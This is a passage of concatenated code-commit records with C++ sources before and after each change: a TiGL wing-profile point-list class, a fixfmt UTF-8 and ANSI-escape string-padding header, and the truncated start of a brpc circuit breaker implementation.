CCPACSWingProfilePointList::BuildWire\", TIGL_ERROR);\n\n        \/\/@todo: do we really want to remove all y information? this has to be a bug\n        \/\/ Apply wing profile transformation to wires\n        CTiglTransformation transformation;\n        transformation.AddProjectionOnXZPlane();\n\n        TopoDS_Shape tempShapeClosed   = transformation.Transform(tempWireClosed);\n\n        \/\/ Cast shapes to wires, see OpenCascade documentation\n        if (tempShapeClosed.ShapeType() != TopAbs_WIRE)\n            throw CTiglError(\"Error: Wrong shape type in CCPACSWingProfilePointList::BuildWire\", TIGL_ERROR);\n\n        wireClosed   = TopoDS::Wire(tempShapeClosed);\n        \n        BuildLETEPoints();\n\n        \/\/ Create upper and lower wires\n        \/\/ Get BSpline curve\n        Handle_Geom_BSplineCurve curve = BRepAdaptor_CompCurve(wireClosed).BSpline();\n        \/\/ Get Leading edge parameter on curve\n        double lep_par = GeomAPI_ProjectPointOnCurve(lePoint, curve).LowerDistanceParameter();\n        \n        \/\/ upper and lower edges\n        TopoDS_Edge edge1, edge2;\n        edge1 = BRepBuilderAPI_MakeEdge(curve,curve->FirstParameter(), lep_par);\n        edge2 = BRepBuilderAPI_MakeEdge(curve,lep_par, curve->LastParameter());\n\n        \/\/ Get maximal z-values of both edges via bounding box\n        Bnd_Box boundingBox1;\n        Bnd_Box boundingBox2;\n        Standard_Real xmin, ymin, zmin, xmax, ymax, zmax1, zmax2;\n        BRepBndLib::Add(edge1, boundingBox1);\n        BRepBndLib::Add(edge2, boundingBox2);\n        boundingBox1.Get(xmin, ymin, zmin, xmax, ymax, zmax1);\n        boundingBox2.Get(xmin, ymin, zmin, xmax, ymax, zmax2);\n\n\n        \/\/ Trailing edge points\n        gp_Pnt te_up, te_down;\n        \/\/ Find out which edge is on top and asign upper and lower edge\n        TopoDS_Edge lower_edge, upper_edge;\n        if(zmax2<zmax1)\n        {\n            \/\/wire goes from top to bottom\n            upper_edge = edge1;\n            lower_edge = edge2;\n            te_up = curve->StartPoint();\n            te_down = curve->EndPoint();\n        }\n        else {\n            \/\/wire goes from bottom to top\n            lower_edge = edge1;\n            upper_edge = edge2;\n            te_up = curve->EndPoint();\n            te_down = curve->StartPoint();\n        }\n        \/\/ Wire builder\n        BRepBuilderAPI_MakeWire upperWireBuilder, lowerWireBuilder;\n\n        \/\/check if we have to close upper and lower wing shells\n        if(te_up.Distance(te_down) > Precision::Confusion())\n        {\n            lowerWireBuilder.Add(BRepBuilderAPI_MakeEdge(te_up,te_down));\n        }\n\n        upperWireBuilder.Add(upper_edge); \n        lowerWireBuilder.Add(lower_edge);\n        \n        upperWire = upperWireBuilder.Wire();\n        lowerWire = lowerWireBuilder.Wire();\n    }\n\n    \/\/ Builds leading and trailing edge points of the wing profile wire.\n    void CCPACSWingProfilePointList::BuildLETEPoints(void)\n    {\n        \/\/ compute TE point\n        gp_Pnt firstPnt = coordinates[0]->Get_gp_Pnt();\n        gp_Pnt lastPnt  = coordinates[coordinates.size() - 1]->Get_gp_Pnt();\n        if( fabs(firstPnt.X() - lastPnt.X()) < Precision::Confusion()){\n            double x = (firstPnt.X() + lastPnt.X())\/2.;\n            double y = (firstPnt.Y() + lastPnt.Y())\/2.;\n            double z = (firstPnt.Z() + lastPnt.Z())\/2.;\n            tePoint = gp_Pnt(x,y,z);\n        }\n        else if(firstPnt.X() > lastPnt.X()) {\n            tePoint = firstPnt;\n        }\n        else {\n            tePoint = lastPnt;\n        }\n\n        \/\/ find the point with the max dist to TE point\n        lePoint = tePoint;\n        CCPACSCoordinateContainer::iterator pit = coordinates.begin();\n        for(; pit != coordinates.end(); ++pit) {\n            gp_Pnt point = (*pit)->Get_gp_Pnt();\n            if(tePoint.Distance(point) > tePoint.Distance(lePoint)) {\n                lePoint = point;\n            }\n        }\n        \/\/ project into x-z plane\n        lePoint.SetY(0.);\n        tePoint.SetY(0.);\n    }\n    \/\/ Returns the profile points as read from TIXI.\n    std::vector<CTiglPoint*> CCPACSWingProfilePointList::GetSamplePoints() const\n    {\n        std::vector<CTiglPoint*> newPointVector;\n        for (CCPACSCoordinateContainer::size_type i = 0; i < coordinates.size(); i++)\n        {\n            gp_Pnt pnt = coordinates[i]->Get_gp_Pnt();\n            \/\/@TODO: i dont't see why we should transform here\n            \/\/pnt = TransformPoint(pnt);\n            newPointVector.push_back(new CTiglPoint(pnt.X(), pnt.Y(), pnt.Z()));\n        }\n        return newPointVector;\n    }\n\n    \/\/ get profiles CPACS XML path\n    const std::string & CCPACSWingProfilePointList::GetProfileDataXPath()\n    {\n        return ProfileDataXPath;\n    }\n\n    \/\/ get forced closed wing profile wire\n    const TopoDS_Wire & CCPACSWingProfilePointList::GetWireClosed()\n    {\n        return wireClosed;\n    }\n        \n    \/\/ get upper wing profile wire\n    const TopoDS_Wire & CCPACSWingProfilePointList::GetUpperWire()\n    {\n        return upperWire;\n    }\n            \n    \/\/ get lower wing profile wire\n    const TopoDS_Wire & CCPACSWingProfilePointList::GetLowerWire()\n    {\n        return lowerWire;\n    }\n\n    \/\/ get leading edge point();\n    const gp_Pnt & CCPACSWingProfilePointList::GetLEPoint()\n    {\n        return lePoint;\n    }\n        \n    \/\/ get trailing edge point();\n    const gp_Pnt & CCPACSWingProfilePointList::GetTEPoint()\n    {\n        return tePoint;\n    }\n\n\n} \/\/ end namespace tigl\n<commit_msg>Code reduction in CCPACSWingProfilePointList<commit_after>\/* \n* Copyright (C) 2007-2013 German Aerospace Center (DLR\/SC)\n*\n* Created: 2013-12-12 Tobias Stollenwerk <Tobias.Stollenwerk@dlr.de>\n* Changed: $Id$ \n*\n* Version: $Revision$\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n*     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\/\n\/**\n* @file\n* @brief  Implementation of CPACS wing profile as a point list.\n*\/\n\n#include <iostream>\n#include <sstream>\n#include <vector>\n\n#include \"CTiglError.h\"\n#include \"CTiglLogging.h\"\n#include \"math.h\"\n\n#include \"gp_Pnt2d.hxx\"\n#include \"gp_Vec2d.hxx\"\n#include \"gp_Dir2d.hxx\"\n#include \"gp_Pln.hxx\"\n#include \"Bnd_Box.hxx\"\n#include \"Geom2d_Line.hxx\"\n#include \"Geom2d_TrimmedCurve.hxx\"\n#include \"TopoDS.hxx\"\n#include \"TopExp_Explorer.hxx\"\n#include \"TopAbs_ShapeEnum.hxx\"\n#include \"TopoDS_Edge.hxx\"\n#include \"GCE2d_MakeSegment.hxx\"\n#include \"BRep_Tool.hxx\"\n#include \"BRepAdaptor_CompCurve.hxx\"\n#include \"Geom2dAPI_InterCurveCurve.hxx\"\n#include \"GeomAPI_ProjectPointOnCurve.hxx\"\n#include \"GeomAPI.hxx\"\n#include \"gce_MakeDir.hxx\"\n#include \"gce_MakePln.hxx\"\n#include \"BRepTools_WireExplorer.hxx\"\n#include \"BRepBuilderAPI_MakeEdge.hxx\"\n#include \"BRepBuilderAPI_MakeWire.hxx\"\n#include \"BRepBndLib.hxx\"\n#include \"ShapeFix_Wire.hxx\"\n#include \"CTiglInterpolateBsplineWire.h\"\n#include \"CTiglInterpolateLinearWire.h\"\n\n#include \"ITiglWingProfileAlgo.h\"\n#include \"CCPACSWingProfilePointList.h\"\n\nnamespace tigl \n{\n\n    \/\/ Constructor\n    CCPACSWingProfilePointList::CCPACSWingProfilePointList(const std::string& path)\n    {\n        ProfileDataXPath=path;\n        profileWireAlgo = WireAlgoPointer(new CTiglInterpolateBsplineWire);\n    }\n\n    \/\/ Destructor\n    CCPACSWingProfilePointList::~CCPACSWingProfilePointList(void)\n    {\n        delete profileWireAlgo;\n    }\n\n    \/\/ Cleanup routine\n    void CCPACSWingProfilePointList::Cleanup(void)\n    {\n        for (CCPACSCoordinateContainer::size_type i = 0; i < coordinates.size(); i++)\n        {\n            delete coordinates[i];\n        }\n        coordinates.clear();\n    }\n\n    \/\/ Read wing profile file\n    void CCPACSWingProfilePointList::ReadCPACS(TixiDocumentHandle tixiHandle)\n    {\n        try\n        {\n            \/* Get point count *\/\n            int   pointCount;\n            if (tixiGetNamedChildrenCount(tixiHandle, ProfileDataXPath.c_str(), \"point\", &pointCount) != SUCCESS) {\n                throw CTiglError(\"Error: tixiGetNamedChildrenCount failed in CCPACSWingProfilePointList::ReadCPACS\", TIGL_XML_ERROR);\n            }\n\n            if (pointCount > 2)\n            {\n                \/\/ Loop over all points\n                for (int i = 1; i <= pointCount; i++)\n                {\n                    CTiglPoint* point = new CTiglPoint(0.0, 0.0, 0.0);\n                    coordinates.push_back(point);\n\n                    std::ostringstream xpath;\n                    xpath << ProfileDataXPath.c_str() << \"\/point[\" << i << \"]\";\n                    std::string x = xpath.str();\n                    char * ptrPathChar = const_cast<char*>(x.c_str());\n\n                    if (tixiGetPoint(tixiHandle, ptrPathChar, &(point->x), &(point->y), &(point->z)) != SUCCESS) {\n                        throw CTiglError(\"Error: XML error while reading <point\/> in CCPACSWingProfilePointList::ReadCPACS\", TIGL_XML_ERROR);\n                    }\n                }\n            }\n            else \/\/ read in vector based point list\n            {\n                std::string xXpath = ProfileDataXPath +\"\/x\";\n                std::string yXpath = ProfileDataXPath +\"\/y\";\n                std::string zXpath = ProfileDataXPath +\"\/z\";\n\n                \/\/ check the number of elements in all three vectors. It has to be the same, otherwise cancel\n                int countX;\n                int countY;\n                int countZ;\n                if (tixiGetVectorSize(tixiHandle, xXpath.c_str(), &countX) != SUCCESS){\n                    throw CTiglError(\"Error: XML error while reading point vector <x> in CCPACSWingProfilePointList::ReadCPACS\", TIGL_XML_ERROR);\n                }\n                if (tixiGetVectorSize(tixiHandle, yXpath.c_str(), &countY) != SUCCESS){\n                    throw CTiglError(\"Error: XML error while reading point vector <y> in CCPACSWingProfilePointList::ReadCPACS\", TIGL_XML_ERROR);\n                }\n                if (tixiGetVectorSize(tixiHandle, zXpath.c_str(), &countZ) != SUCCESS){\n                    throw CTiglError(\"Error: XML error while reading point vector <z> in CCPACSWingProfilePointList::ReadCPACS\", TIGL_XML_ERROR);\n                }\n\n                if (countX != countY || countX != countZ || countY != countZ) {\n                    throw CTiglError(\"Error: Vector size for profile points are not eqal in CCPACSWingProfilePointList::ReadCPACS\", TIGL_XML_ERROR);\n                }\n\n                \/\/ read in vectors, vectors are allocated and freed by tixi\n                double *xCoordinates = NULL;\n                double *yCoordinates = NULL;\n                double *zCoordinates = NULL;\n\n                if (tixiGetFloatVector(tixiHandle, xXpath.c_str(), &xCoordinates, countX) != SUCCESS) {\n                    throw CTiglError(\"Error: XML error while reading point vector <x> in CCPACSWingProfilePointList::ReadCPACS\", TIGL_XML_ERROR);\n                }\n                if (tixiGetFloatVector(tixiHandle, yXpath.c_str(), &yCoordinates, countY) != SUCCESS) {\n                    throw CTiglError(\"Error: XML error while reading point vector <y> in CCPACSWingProfilePointList::ReadCPACS\", TIGL_XML_ERROR);\n                }\n                if (tixiGetFloatVector(tixiHandle, zXpath.c_str(), &zCoordinates, countZ) != SUCCESS) {\n                    throw CTiglError(\"Error: XML error while reading point vector <z> in CCPACSWingProfilePointList::ReadCPACS\", TIGL_XML_ERROR);\n                }\n\n                \/\/ Loop over all points in the vector\n                for (int i = 0; i < countX; i++)\n                {\n                    CTiglPoint* point = new CTiglPoint(xCoordinates[i], yCoordinates[i], zCoordinates[i]);\n                    coordinates.push_back(point);\n                }\n            }\n\n        }\n        catch (...)\n        {\n            throw;\n        }\n    }\n\n    \/\/ Builds the wing profile wire. The returned wire is already transformed by the\n    \/\/ wing profile element transformation.\n    void CCPACSWingProfilePointList::BuildWires()\n    {\n        ITiglWireAlgorithm::CPointContainer points;\n        for (CCPACSCoordinateContainer::size_type i = 0; i < coordinates.size(); i++)\n            points.push_back(coordinates[i]->Get_gp_Pnt());\n\n        \/\/ Build wires from wing profile points.\n        const ITiglWireAlgorithm& wireBuilder = *profileWireAlgo;\n\n        \/\/ CCPACSWingSegment::makeSurfaces cannot handle currently \n        \/\/ wire with multiple edges. Thus we get problems if we have\n        \/\/ a linear interpolated wire consting of many edges.\n        if(dynamic_cast<const CTiglInterpolateLinearWire*>(&wireBuilder)){\n            LOG(ERROR) << \"Linear Wing Profiles are currently not supported\" << endl;\n            throw CTiglError(\"Linear Wing Profiles are currently not supported\",TIGL_ERROR);\n        }\n\n        TopoDS_Wire tempWireClosed   = wireBuilder.BuildWire(points, true);\n        if (tempWireClosed.IsNull() == Standard_True)\n            throw CTiglError(\"Error: TopoDS_Wire is null in CCPACSWingProfilePointList::BuildWire\", TIGL_ERROR);\n\n        \/\/@todo: do we really want to remove all y information? this has to be a bug\n        \/\/ Apply wing profile transformation to wires\n        CTiglTransformation transformation;\n        transformation.AddProjectionOnXZPlane();\n\n        TopoDS_Shape tempShapeClosed   = transformation.Transform(tempWireClosed);\n\n        \/\/ Cast shapes to wires, see OpenCascade documentation\n        if (tempShapeClosed.ShapeType() != TopAbs_WIRE)\n            throw CTiglError(\"Error: Wrong shape type in CCPACSWingProfilePointList::BuildWire\", TIGL_ERROR);\n\n        wireClosed   = TopoDS::Wire(tempShapeClosed);\n        \n        BuildLETEPoints();\n\n        \/\/ Create upper and lower wires\n        \/\/ Get BSpline curve\n        Handle_Geom_BSplineCurve curve = BRepAdaptor_CompCurve(wireClosed).BSpline();\n        \/\/ Get Leading edge parameter on curve\n        double lep_par = GeomAPI_ProjectPointOnCurve(lePoint, curve).LowerDistanceParameter();\n        \n        \/\/ upper and lower edges\n        TopoDS_Edge edge1, edge2;\n        edge1 = BRepBuilderAPI_MakeEdge(curve,curve->FirstParameter(), lep_par);\n        edge2 = BRepBuilderAPI_MakeEdge(curve,lep_par, curve->LastParameter());\n\n        \/\/ Get maximal z-values of both edges via bounding box\n        Bnd_Box boundingBox1;\n        Bnd_Box boundingBox2;\n        Standard_Real xmin, ymin, zmin, xmax, ymax, zmax1, zmax2;\n        BRepBndLib::Add(edge1, boundingBox1);\n        BRepBndLib::Add(edge2, boundingBox2);\n        boundingBox1.Get(xmin, ymin, zmin, xmax, ymax, zmax1);\n        boundingBox2.Get(xmin, ymin, zmin, xmax, ymax, zmax2);\n\n\n        \/\/ Trailing edge points\n        gp_Pnt te_up, te_down;\n        \/\/ Find out which edge is on top and asign upper and lower edge\n        TopoDS_Edge lower_edge, upper_edge;\n        if(zmax2<zmax1)\n        {\n            \/\/wire goes from top to bottom\n            upper_edge = edge1;\n            lower_edge = edge2;\n            te_up = curve->StartPoint();\n            te_down = curve->EndPoint();\n        }\n        else {\n            \/\/wire goes from bottom to top\n            lower_edge = edge1;\n            upper_edge = edge2;\n            te_up = curve->EndPoint();\n            te_down = curve->StartPoint();\n        }\n        \/\/ Wire builder\n        BRepBuilderAPI_MakeWire upperWireBuilder, lowerWireBuilder;\n\n        \/\/check if we have to close upper and lower wing shells\n        if(te_up.Distance(te_down) > Precision::Confusion())\n        {\n            lowerWireBuilder.Add(BRepBuilderAPI_MakeEdge(te_up,te_down));\n        }\n\n        upperWireBuilder.Add(upper_edge); \n        lowerWireBuilder.Add(lower_edge);\n        \n        upperWire = upperWireBuilder.Wire();\n        lowerWire = lowerWireBuilder.Wire();\n    }\n\n    \/\/ Builds leading and trailing edge points of the wing profile wire.\n    void CCPACSWingProfilePointList::BuildLETEPoints(void)\n    {\n        \/\/ compute TE point\n        gp_Pnt firstPnt = coordinates[0]->Get_gp_Pnt();\n        gp_Pnt lastPnt  = coordinates[coordinates.size() - 1]->Get_gp_Pnt();\n        if( fabs(firstPnt.X() - lastPnt.X()) < Precision::Confusion()){\n            double x = (firstPnt.X() + lastPnt.X())\/2.;\n            double y = (firstPnt.Y() + lastPnt.Y())\/2.;\n            double z = (firstPnt.Z() + lastPnt.Z())\/2.;\n            tePoint = gp_Pnt(x,y,z);\n        }\n        else if(firstPnt.X() > lastPnt.X()) {\n            tePoint = firstPnt;\n        }\n        else {\n            tePoint = lastPnt;\n        }\n\n        \/\/ find the point with the max dist to TE point\n        lePoint = tePoint;\n        CCPACSCoordinateContainer::iterator pit = coordinates.begin();\n        for(; pit != coordinates.end(); ++pit) {\n            gp_Pnt point = (*pit)->Get_gp_Pnt();\n            if(tePoint.Distance(point) > tePoint.Distance(lePoint)) {\n                lePoint = point;\n            }\n        }\n        \/\/ project into x-z plane\n        lePoint.SetY(0.);\n        tePoint.SetY(0.);\n    }\n    \/\/ Returns the profile points as read from TIXI.\n    std::vector<CTiglPoint*> CCPACSWingProfilePointList::GetSamplePoints() const\n    {\n        return coordinates;\n    }\n\n    \/\/ get profiles CPACS XML path\n    const std::string & CCPACSWingProfilePointList::GetProfileDataXPath()\n    {\n        return ProfileDataXPath;\n    }\n\n    \/\/ get forced closed wing profile wire\n    const TopoDS_Wire & CCPACSWingProfilePointList::GetWireClosed()\n    {\n        return wireClosed;\n    }\n        \n    \/\/ get upper wing profile wire\n    const TopoDS_Wire & CCPACSWingProfilePointList::GetUpperWire()\n    {\n        return upperWire;\n    }\n            \n    \/\/ get lower wing profile wire\n    const TopoDS_Wire & CCPACSWingProfilePointList::GetLowerWire()\n    {\n        return lowerWire;\n    }\n\n    \/\/ get leading edge point();\n    const gp_Pnt & CCPACSWingProfilePointList::GetLEPoint()\n    {\n        return lePoint;\n    }\n        \n    \/\/ get trailing edge point();\n    const gp_Pnt & CCPACSWingProfilePointList::GetTEPoint()\n    {\n        return tePoint;\n    }\n\n\n} \/\/ end namespace tigl\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <cassert>\n#include <iostream>\n#include <string>\n\n#include \"fixfmt\/math.hh\"\n\n\/\/------------------------------------------------------------------------------\n\nnamespace fixfmt {\n\nusing std::string;\n\nconstexpr char const* ELLIPSIS = \"\\u2026\";\n\n\/**\n * Advances an iterator on a UTF-8 string by one code point.\n *\/\ninline void\nnext_utf8(string::const_iterator& i)\n{\n  unsigned char c = *i++;\n  if ((c & 0xc0) == 0xc0) {\n    \/\/ It's multibyte.  The number of bytes is the number of MSB's before \n    \/\/ the first zero.\n    \/\/ FIXME: Improve this.\n    ++i;\n    if ((c & 0xe0) == 0xe0) {\n      ++i;\n      if ((c & 0xf0) == 0xf0) {\n        ++i;\n        if ((c & 0xf8) == 0xf8) {\n          ++i;\n          if ((c & 0xfc) == 0xfc)\n            ++i;\n        }\n      }\n    }\n  }\n}\n\n\n\/**\n * Returns the number of code points in a UTF-8-encoded string.\n *\/\ninline size_t\nutf8_length(string const& str)\n{\n  size_t length = 0;\n  \/\/ FIXME: Problem if the last code point is malformed.\n  for (auto i = str.begin(); i != str.end(); next_utf8(i))\n    ++length;\n  return length;\n}\n\n\nconstexpr char ANSI_ESCAPE = '\\x1b';\n\ninline bool\nwithin(unsigned char min, unsigned char val, unsigned char max)\n{\n  return min <= val && val <= max;\n}\n\n\n\/**\n * Advances an iterator past an ANSI escape sequence, if it is positioned at\n * one.\n *\/\ninline bool\nskip_ansi_escape(string::const_iterator& i, string::const_iterator const& end)\n{\n  assert(i != end);\n  if (*i == ANSI_ESCAPE) {\n    ++i;\n    if (i != end && *i++ == '[') \n      \/\/ Got CSI.  Read until we pass a final byte.\n      while (i != end && !within(64, *i++, 126))\n        ;\n    else\n      \/\/ Assume single-character escape.\n      ;\n    return true;\n  }\n  else\n    return false;\n}\n\n\n\/**\n * Returns the number of code points in a UTF-8-encoded string, skipping\n * escape sequences.\n *\/\ninline size_t\nstring_length(string const& str)\n{\n  size_t length = 0;\n  auto const& end = str.end();\n  \/\/ FIXME: Problem if the last code point is malformed.\n\n  auto i = str.begin();\n  \/\/ Count characters.\n  while (i != end) {\n    if (skip_ansi_escape(i, end))\n      ;\n    else {\n      ++length;\n      next_utf8(i);\n    }\n  }\n  return length;\n}\n\n\n\/**\n * Concatenates copies of `str` up to `length`.  If `length` is not divisible\n * by the length of `str`, the last copy is partial.\n *\/\ninline string\nfill(\n  string const& str,\n  size_t const length)\n{\n  size_t const str_len = string_length(str);\n  assert(str_len > 0);\n  if (str.length() == 1)\n    return string(length, str[0]);\n  else {\n    string result;\n    result.reserve(length);\n    \/\/ Concatenate whole copies.\n    size_t l = length;\n    while (l >= str_len) {\n      result += str;\n      l -= str_len;\n    }\n    if (l > 0) {\n      \/\/ Concatenate a partial copy.\n      auto i = str.begin();\n      for (; l > 0; --l)\n        next_utf8(i);\n      result.append(str.begin(), i);\n    }\n    assert(string_length(result) == length);\n    return result;\n  }\n}\n\n\ninline string\npad(\n  string const& str,\n  size_t const length,\n  string const& pad=\" \",\n  bool const left=false)\n{\n  size_t const str_len = string_length(str);\n  if (str_len < length) {\n    string const padding = fill(pad, length - str_len);\n    string const result = left ? padding + str : str + padding;\n    assert(string_length(result) == length);\n    return result;\n  }\n  else\n    return str;\n}\n\n\ninline string\nelide(\n  string const& str,\n  size_t const max_length,\n  string const& ellipsis=ELLIPSIS,\n  float const position=1.0)\n{\n  size_t const ellipsis_len = string_length(ellipsis);\n  assert(max_length >= ellipsis_len);\n  assert(0 <= position);\n  assert(position <= 1);\n\n  size_t const length = string_length(str);\n  if (length <= max_length)\n    return str;\n  else {\n    size_t const keep   = max_length - ellipsis_len;\n    size_t const nleft  = (size_t) round(position * keep);\n    size_t const nright = keep - nleft;\n    string elided;\n    if (nleft > 0)\n      elided += str.substr(0, nleft);\n    elided += ellipsis;\n    if (nright > 0)\n      elided += str.substr(length - nright);\n    assert(string_length(elided) == max_length);\n    return elided;\n  }\n}\n\n\ninline string\npalide(\n  string const& str,\n  size_t const length,\n  string const& ellipsis=ELLIPSIS,\n  string const& pad=\" \",\n  float const position=1.0,\n  bool const left=false)\n{\n  return fixfmt::pad(elide(str, length, ellipsis, position), length, pad, left);\n}\n\n\n}  \/\/ namespace fixfmt\n<commit_msg>Cleanups.<commit_after>#pragma once\n\n#include <cassert>\n#include <iostream>\n#include <string>\n\n#include \"fixfmt\/math.hh\"\n\n\/\/------------------------------------------------------------------------------\n\nnamespace fixfmt {\n\nusing std::string;\n\nconstexpr char const* ELLIPSIS = \"\\u2026\";\n\n\/**\n * Advances an iterator on a UTF-8 string by one code point.\n *\/\n\/\/ FIXME: Take an end parameter.\ninline void\nnext_utf8(string::const_iterator& i)\n{\n  unsigned char c = *i++;\n  if ((c & 0xc0) == 0xc0) {\n    \/\/ It's multibyte.  The number of bytes is the number of MSB's before \n    \/\/ the first zero.\n    \/\/ FIXME: Improve this.\n    ++i;\n    if ((c & 0xe0) == 0xe0) {\n      ++i;\n      if ((c & 0xf0) == 0xf0) {\n        ++i;\n        if ((c & 0xf8) == 0xf8) {\n          ++i;\n          if ((c & 0xfc) == 0xfc)\n            ++i;\n        }\n      }\n    }\n  }\n}\n\n\n\/**\n * Returns the number of code points in a UTF-8-encoded string.\n *\/\ninline size_t\nutf8_length(string const& str)\n{\n  size_t length = 0;\n  \/\/ FIXME: Problem if the last code point is malformed.\n  for (auto i = str.begin(); i != str.end(); next_utf8(i))\n    ++length;\n  return length;\n}\n\n\n\/\/ FIXME: Elsewhere.\n\nconstexpr char ANSI_ESCAPE = '\\x1b';\n\ninline bool\nwithin(unsigned char min, unsigned char val, unsigned char max)\n{\n  return min <= val && val <= max;\n}\n\n\n\/**\n * Advances an iterator past an ANSI escape sequence, if it is positioned at\n * one.\n *\/\ninline bool\nskip_ansi_escape(string::const_iterator& i, string::const_iterator const& end)\n{\n  assert(i != end);\n  if (*i == ANSI_ESCAPE) {\n    ++i;\n    if (i != end && *i++ == '[') \n      \/\/ Got CSI.  Read until we pass a final byte.\n      while (i != end && !within(64, *i++, 126))\n        ;\n    else\n      \/\/ Assume single-character escape.\n      ;\n    return true;\n  }\n  else\n    return false;\n}\n\n\n\/**\n * Returns the number of code points in a UTF-8-encoded string, skipping\n * escape sequences.\n *\/\ninline size_t\nstring_length(string const& str)\n{\n  size_t length = 0;\n  auto const& end = str.end();\n  \/\/ FIXME: Problem if the last code point is malformed.\n  \/\/ Count characters.\n  for (auto i = str.begin(); i != end; ) \n    if (skip_ansi_escape(i, end))\n      ;\n    else {\n      ++length;\n      next_utf8(i);\n    }\n  return length;\n}\n\n\n\/**\n * Concatenates copies of `str` up to `length`.  If `length` is not divisible\n * by the length of `str`, the last copy is partial.\n *\/\ninline string\nfill(\n  string const& str,\n  size_t const length)\n{\n  size_t const str_len = string_length(str);\n  assert(str_len > 0);\n  if (str.length() == 1)\n    return string(length, str[0]);\n  else {\n    string result;\n    result.reserve(length);\n    \/\/ Concatenate whole copies.\n    size_t l = length;\n    while (l >= str_len) {\n      result += str;\n      l -= str_len;\n    }\n    if (l > 0) {\n      \/\/ Concatenate a partial copy.\n      auto i = str.begin();\n      for (; l > 0; --l)\n        next_utf8(i);\n      result.append(str.begin(), i);\n    }\n    assert(string_length(result) == length);\n    return result;\n  }\n}\n\n\ninline string\npad(\n  string const& str,\n  size_t const length,\n  string const& pad=\" \",\n  bool const left=false)\n{\n  size_t const str_len = string_length(str);\n  if (str_len < length) {\n    string const padding = fill(pad, length - str_len);\n    string const result = left ? padding + str : str + padding;\n    assert(string_length(result) == length);\n    return result;\n  }\n  else\n    return str;\n}\n\n\ninline string\nelide(\n  string const& str,\n  size_t const max_length,\n  string const& ellipsis=ELLIPSIS,\n  float const position=1.0)\n{\n  size_t const ellipsis_len = string_length(ellipsis);\n  assert(max_length >= ellipsis_len);\n  assert(0 <= position);\n  assert(position <= 1);\n\n  size_t const length = string_length(str);\n  if (length <= max_length)\n    return str;\n  else {\n    size_t const keep   = max_length - ellipsis_len;\n    size_t const nleft  = (size_t) round(position * keep);\n    size_t const nright = keep - nleft;\n    string elided;\n    if (nleft > 0)\n      elided += str.substr(0, nleft);\n    elided += ellipsis;\n    if (nright > 0)\n      elided += str.substr(length - nright);\n    assert(string_length(elided) == max_length);\n    return elided;\n  }\n}\n\n\ninline string\npalide(\n  string const& str,\n  size_t const length,\n  string const& ellipsis=ELLIPSIS,\n  string const& pad=\" \",\n  float const position=1.0,\n  bool const left=false)\n{\n  return fixfmt::pad(elide(str, length, ellipsis, position), length, pad, left);\n}\n\n\n}  \/\/ namespace fixfmt\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2014 Baidu, Inc.G\n\/\/ \n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/ Authors: Lei He (helei@qiyi.com)\n\n#include <cmath>\n#include <gflags\/gflags.h>\n#include \"brpc\/circuit_breaker.h\"\n\nnamespace brpc {\n\nDEFINE_int32(circuit_breaker_short_window_size, 100,\n    \"Short window sample size.\");\nDEFINE_int32(circuit_breaker_long_window_size, 1000,\n    \"Long window sample size.\");\nDEFINE_int32(circuit_breaker_short_window_error_percent, 5,\n    \"The maximum error rate allowed by the short window, ranging from 0-99.\");\nDEFINE_int32(circuit_breaker_long_window_error_percent, 3, \n    \"The maximum error rate allowed by the long window, ranging from 0-99.\");\nDEFINE_int32(circuit_breaker_min_error_cost_us, 100,\n    \"The minimum error_cost, when the ema of error cost is less than this \"\n    \"value, it will be set to zero.\");\nDEFINE_int32(circuit_breaker_max_failed_latency_mutilple, 2,\n    \"The maximum multiple of the latency of the failed request relative to \"\n    \"the average latency of the success requests.\");\n\nnamespace {\n\/\/ EPSILON is used to generate the smoothing coefficient when calculating EMA.\n\/\/ The larger the EPSILON, the larger the smoothing coefficient, which means \n\/\/ that the proportion of early data is larger.\n\/\/ smooth = pow(EPSILON, 1 \/ window_size), \n\/\/ eg: when window_size = 100,\n\/\/ EPSILON = 0.1, smooth = 0.9772\n\/\/ EPSILON = 0.3, smooth = 0.9880\n\/\/ when window_size = 1000,\n\/\/ EPSILON = 0.1, smooth = 0.9977\n\/\/ EPSILON = 0.3, smooth = 0.9987\nconst double EPSILON = 0.1;\n}  \/\/ namepace\n\nCircuitBreaker::EmaErrorRecorder::EmaErrorRecorder(int window_size, \n                                                   int max_error_percent)\n    : _window_size(window_size)\n    , _max_error_percent(max_error_percent)\n    , _smooth(std::pow(EPSILON, 1.0\/window_size))\n    , _sample_count(0)\n    , _ema_error_cost(0)\n    , _ema_latency(0) \n    , _broken(false) {\n}\n\nbool CircuitBreaker::EmaErrorRecorder::OnCallEnd(int error_code, \n                                                 int64_t latency) {\n    if (_broken.load(butil::memory_order_relaxed)) {\n        return false;\n    }\n\n    int64_t ema_latency = 0;\n    bool healthy = false;\n    if (error_code == 0) {\n        ema_latency = UpdateLatency(latency);\n        healthy = UpdateErrorCost(0, ema_latency);\n    } else {\n        ema_latency = _ema_latency.load(butil::memory_order_relaxed);\n        healthy = UpdateErrorCost(latency, ema_latency);\n    }\n\n    if (_sample_count.fetch_add(1, butil::memory_order_relaxed) < _window_size) {\n        return true;\n    }\n    \n    if (!healthy) {\n        _broken.store(true, butil::memory_order_relaxed);\n    }\n    return healthy;\n}\n\nvoid CircuitBreaker::EmaErrorRecorder::Reset() {\n    _sample_count.store(0, butil::memory_order_relaxed);\n    _ema_error_cost.store(0, butil::memory_order_relaxed);\n    _ema_latency.store(0, butil::memory_order_relaxed);\n    _broken.store(false, butil::memory_order_relaxed);\n}\n\nint64_t 